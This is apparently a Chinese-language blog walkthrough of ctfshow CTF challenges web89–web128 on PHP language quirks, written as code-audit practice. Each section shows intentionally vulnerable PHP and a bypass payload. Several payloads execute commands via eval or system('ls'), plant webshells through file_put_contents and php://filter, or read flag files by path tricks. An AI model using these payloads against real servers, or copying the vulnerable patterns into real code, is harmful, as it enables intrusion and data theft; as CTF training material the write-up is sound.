本站vip特权 - 全站资源免费下载

限时特惠

php代码审计前奏之ctfshow之php特性

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web89~数组绕过preg_match

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}
  • preg_match — 执行匹配正则表达式

返回值:

**preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject直到到达结尾。 如果发生错误preg_match()**返回 FALSE

数组绕过

当匹配数组是返回false绕过。

?num[]=1

web90~intval函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
  • intval()函数用于获取变量的整数值。
    intval()函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。
  • $base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

  • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

传参一个数既要使其不强等于4476,又要使得intaval函数处理后的结果强等于4476,结合上述函数解释

构造

?num=4476a

web91~/m之%0a绕过

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono

D3vAXQ.md.png

题目要求,传参 cmd.

但是第一个正则匹配要求多行匹配php,但是另一个要求有去掉修饰符m要求不匹配php.那么就应该能想到是截断。

第一个匹配多行,第二个只匹配单行,那么我们可以构造php%0ap进行匹配,当多行匹配的时候前后都是p,

还可以这里有有两个条件,第一个需要是php,第二个又不可以php,不过有个差距就是m模式,/m代表匹配多行数据,第一个if有匹配到第二行的php,而第二个if匹配不到为假。

CVE-2017-15715

https://blog.csdn.net/qq_46091464/article/details/108278486

web92~intval八十六进制科学计数法绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

同样考点是intval,但这道题不同于web90,而是弱比较,所以说4476a等肯定不行的。

这里用到十六进制0x117c或者八进制010574

https://www.runoob.com/php/php-intval-function.html

也可以科学计数法4476e2,在第一个if会计数比较,在intval函数中会被看做字符串。

web93~intval八进制绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

过滤了字母,但我们可以使用八进制010574

web94~八进制,小数点绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}
  • strpos查找 “php” 在字符串中第一次出现的位置:
  • strpos() 函数对大小写敏感。
  • 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

比上一关增加条件,strpos函数限制了传参第一位不能为0,如果为0,就die.

但是如果找不到的话又会die.

仔细观察这里时强等于。

我们可以在八进制前加一个空格

?num=  010574

或者用小数点

?num=4476.0

或者再加个 +

?num=+4476.0

web95~空格加八进制绕intval

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

又增加过滤了.

构造空格+八进制

?num=  010574

也可以

?num=+010574
?num=%2b010574

web96~绝对路径相对路径

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

可以看到不能直接等于flag.php,

但是我们可以构造路劲让其显示

?u=/var/www/html/flag.php
?u=./flag.php

web97~md5数组绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里是强比较。

弱比较的话可以百度有好多md5加密后是0e开头的,弱比较 0=0

强比较

如果传入md5函数的不是字符串而是数组,那么就会返回null, null=null绕过。

构造

a[]=1&b[]=2

还有md5强碰撞

https://blog.csdn.net/EC_Carrot/article/details/109525162

https://www.cnblogs.com/kuaile1314/p/11968108.html

web98~三元运算地址引用

Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

三元符运算,和传址(引用)

$_GET?$_GET=&$_POST:'flag';  //只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)

那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag即可获得flag.

看看wp:

https://www.php.cn/php-notebook-172859.html https://www.php.cn/php-weizijiaocheng-383293.html 考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码

<?php
include('flag.php');
if($_GET){
	$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
	"flag";
} 
if($_GET['flag']=='flag'){
	$_GET=&$_COOKIE;
}else{
	'flag';
} 
if($_GET['flag']=='flag'){
	$_GET=&$_SERVER;
}else{
'flag';
} 
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
	highlight_file($flag);
}else{
	highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

web99~in_array()漏洞

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>

DtG78J.md.png

意为当没有设置第三个函数时,比较是会自动转换数据类型,也就是弱比较。

那么我们传入1.php就相当于若等于1.

构造

/?n=1.php
# post
content=<?php system('cat flag36d.php');?>

web100~运算符优先级,反射类

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

这里有问题,又学费了。

php =的运算符竟然比 and高。

https://www.jb51.net/article/42425.htm

&& > || > = > and > or

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

DtN6oV.md.png

https://www.php.net/manual/zh/language.operators.precedence.php

所以这时候就很清晰明了了。

只需要传入的 v1值是数字。v3必须有;

构造

# 直接输出$ctfshow;构造出 var_dump($ctfshow);
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

?v1=1&v2=var_dump(new ctfshow())/*&v3=*/;

# 因为过滤的字符比较少,所以可以直接执行命令。
?v1=1&v2=system('ls')/*&v3=*/;

/?v1=1&v2=system('ls')&v3=;    # 会报错但也可出来

反射类: https://www.php.net/manual/zh/class.reflectionclass.php

?v1=1&v2=echo new ReflectionClass('ctfshow')/*&v3=*/;

?v1=1&v2=echo new ReflectionClass&v3=;

反射类用法:

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

https://blog.csdn.net/miuzzx/article/details/109168454

解出来

flag_is_d3e0a1060x2d8b970x2d4f790x2db73d0x2d542e6338bca7

有点小坑,仔细看才发现有好多0x2d

flag{d3e0a106-8b97-4f79-b73d-542e6338bca7}

web101~反射类

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }

}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

跟上道题差不多,过滤的严了一些。过滤掉了\ 和反引号,单引号,括号。

只能用反射类了。

构造

?v1=1&v2=echo new ReflectionClass&v3=;

同样结果注意flag格式

web102~hex2bin,base64编码后都为数字

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

这里要求v2是数字,并且截取第三位后的字符作为call_user_func的第二个参数。

v1作为 call_user_func的第一个参数。

v3作为 file_put_contents的文件名。

call_user_func($v1,$s);返回结果作为file_put_contents的第二参数。

is_numeric 函数是又漏洞的,再 php5 版本下是可以识别十六进制的。也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)也是可以识别为数字的。

但此题是 php7 环境。不可以。

要让v2均为数字,首先我们考虑写入1.php时,利用伪协议写入

get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

关键就是什么代码base64编码后再转为十六进制为全数字

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

同时因为经过substr处理,所以v2前面还要补两位数字。

构造

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

# post
v1=hex2bin

或者

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
# 115044383959474e6864434171594473 16进制转字符 PD89YGNhdCAqYDs base64解码  <?=`cat *YDs

web103~hex2bin

<?php

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

相比上关过滤了php.

用上关payload也可以打通。

web104~sha1弱相等

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>
  • sha1 — 计算字符串的 sha1 散列值. 返回 sha1 散列值字符串。

sha1()函数无法处理数组类型,将报错并返回false,

所以构造

?v2[]=1

# post
v1[]=1

这里没有判断两值是否相等,所以也可以传入两个相等的数。

?v2=2

v1=2

还有几个弱比较相等的字符串

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web105~$$变量覆盖

<?php

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

变量覆盖。

代码审计,直接传入

?suces=flag

# post
error=suces

这里把suceserror都覆盖成了 $flag,所以不管die 哪个,都会输出flag.

web106~sha1弱比较

<?php

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

?>

数组绕过。

还有

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

web107~MD5弱比较

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

?>

MD5弱类型比较。

  • parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

D681hj.md.png

  1. 数组绕过
    md5加密数组会返回NULL,$v2[‘flag’] 也是NULL。
?v3[]=1

v1[]=flag=0
  1. 弱比较绕过
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

web108~ereg %00截断漏洞

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
error
  • ereg — 正则表达式匹配
  • ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

0x36d877

所以构造

?c=a%00aaaa778

当通过strrevintval的时候,为 877

web109~反射类,异常处理

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

payload:

?v1=ReflectionClass&v2=system('ls')

?v1=Exception&v2=system('ls')

web110~FilesystemIterator类读取文件

<?php

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

考察点:FilesystemIterator类的使用(作用就是获取当前目录文件)

payload:

?v1=FilesystemIterator&v2=getcwd

http://phpff.com/filesystemiterator

web111~全局变量GLOBALS引用

<?php

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

}

?>

php变量地址引用。可以利用全局变量来进行赋值给ctfshow这个变量

payload:

?v1=ctfshow&v2=GLOBALS

web112~php伪协议

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
  • is_file() 函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。

苦苦不知道flag在哪里,原来就在falg.php

payload:

?file=php://filter/resource=flag.php

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php

?file=compress.zlib://flag.php

web113~/proc/self/root

<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

压缩过滤器绕过

?file=compress.zlib://flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file.。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

php的一个小 trick. 具体看这里

web114~filter

<?php

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

过滤了compress,上面的非预期也就不能用了。

filter没过滤。

payload :

?file=php://filter/resource=flag.php

web115~fuzz绕is_numeric,trim

<?php

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

trim函数的绕过+is_numeric绕过

语法
trim(string,charlist)

参数	描述
string	        必需。规定要检查的字符串。
charlist	    可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:

"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格

测试代码:

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}

输出了%09 %0A %0B %0C %0D + %2B - .

再来看看 trim+is_numeric

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

输出

%0C   %2B   -   .   0   1   2   3   4   5   6   7   8   9

%2B (+)-.被过滤。所以构造

?num=%0c36

web123~php变量命名,_SERVER[‘argv’];

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

php变量命名是不允许使用点号的,所以isset($_POST['CTF_SHOW.COM'])就很难搞。

本地暴破一下:

1.php

<?php
var_dump($_POST);

python脚本:

import requests

url = "http://127.0.0.1/1/1.php";
for i in range(0,125):
    i = chr(i)
    for j in range(0, 125):
        j = chr(j)
        param =  "CTF"+i+"SHOW"+j+"COM"
        data={
            param:1,
        }
        #print(param)
        reponse = requests.post(url=url,data=data)
        page_text = reponse.text
        if "CTF_SHOW.COM" in page_text:
            print(i+'\t'+j+'\n')
            print(page_text)

rNgK9x.md.png

成功爆破出。 [ .

测试一下:

<?php
var_dump($_POST);

post 输入 CTF_SHOW.COM=1
返回
array(1) { ["CTF_SHOW_COM"]=> string(1) "1" }

接下来看看$SERVER['argv']的作用。

1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数

2、web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$argv,$argc在web模式下不适用

raTwY8.md.png

因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。

ra7DN6.md.png

我们传值?$fl0g=flag_give_me;(记得有分号,后边需要eval执行),然后此时 $a[0]="$fl0g=flag_give_me;",我们让 eval("$c".";"); 中的 $c 变为eval($a[0])即可成功使 fl0g 变量成功赋值。

paylaod:

GET:
?$fl0g=flag_give_me;

POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

非预期解:

POST:  CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
POST:  CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS)   题目出不来,本地测试可以

这个题本来的的预期解是:

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

但是按理说这样也可以的呀:

get: fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[0])

raqHgO.md.png

https://blog.csdn.net/miuzzx/article/details/109181768

应该又是环境问题。

web125~argv,parse_str

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

被过滤了其他方法,

payload

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

还有:

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126~argv,assert

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

payload:

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

or

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127~fuzz代替_

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

fuzz:

1.php

<?php
$a = $_SERVER['QUERY_STRING']; 
#var_dump($a);
extract($_GET); 
if($ctf_show==='ilove36d'){
    echo "flagggg";
}

python:

import requests
import urllib.parse

url = "http://127.0.0.1/1/1.php"

for i in range(0,125):
    # print(i)
    i = chr(i)
    p = "ctf"+i+"show"
    # p = urllib.parse.quote(p)
    param = {
        p:"ilove36d"
    }
    reponse = requests.get(url=url,params=param)
    page = (reponse.text)
    if "flaggg" in page:
        print(i)
        print(page)
        print("------------------")

得到

flagggg
------------------
.
flagggg
------------------
[
flagggg
------------------
_
flagggg
------------------

Process finished with exit code 0

这里其他被ban了,只能使用 空格

?ctf show=ilove36d

web128~gettext拓展,get_defined_vars获取已定义变量

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

